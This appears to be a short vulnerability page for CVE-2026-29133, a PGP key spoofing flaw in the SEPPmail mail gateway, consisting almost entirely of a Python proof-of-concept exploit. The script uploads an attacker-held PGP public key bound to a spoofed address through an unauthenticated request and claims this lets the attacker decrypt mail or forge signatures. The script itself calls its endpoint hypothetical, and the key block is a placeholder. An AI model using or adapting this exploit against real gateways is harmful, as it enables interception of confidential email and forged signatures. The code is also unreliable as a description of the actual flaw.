CVE-2026-29133 SEPPmail邮件网关PGP密钥欺骗漏洞

import requests # Target URL for key upload (hypothetical endpoint based on vulnerability description) target_url = "https://target-seppmail-gateway/api/key/upload" # Malicious PGP Public Key block with a spoofed UID ([email protected]) # The attacker holds the corresponding private key for this public key. pgp_key_data = """-----BEGIN PGP PUBLIC KEY BLOCK----- mQINBGI... (Base64 encoded key data) ... =abcde -----END PGP PUBLIC KEY BLOCK-----""" headers = { "User-Agent": "Mozilla/5.0 (Compatible; CVE-2026-29133 PoC)", "Content-Type": "application/x-www-form-urlencoded" } # Payload containing the email address to spoof and the malicious key payload = { "email": "[email protected]", "public_key": pgp_key_data } try: # Exploit: Send the upload request without authentication (PR:N) response = requests.post(target_url, data=payload, headers=headers, verify=False, timeout=10) if response.status_code == 200: print("[+] Exploit successful! Malicious PGP key uploaded for [email protected]") print("[+] Attacker can now decrypt emails or forge signatures.") else: print(f"[-] Upload failed. Status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] Error occurred: {e}")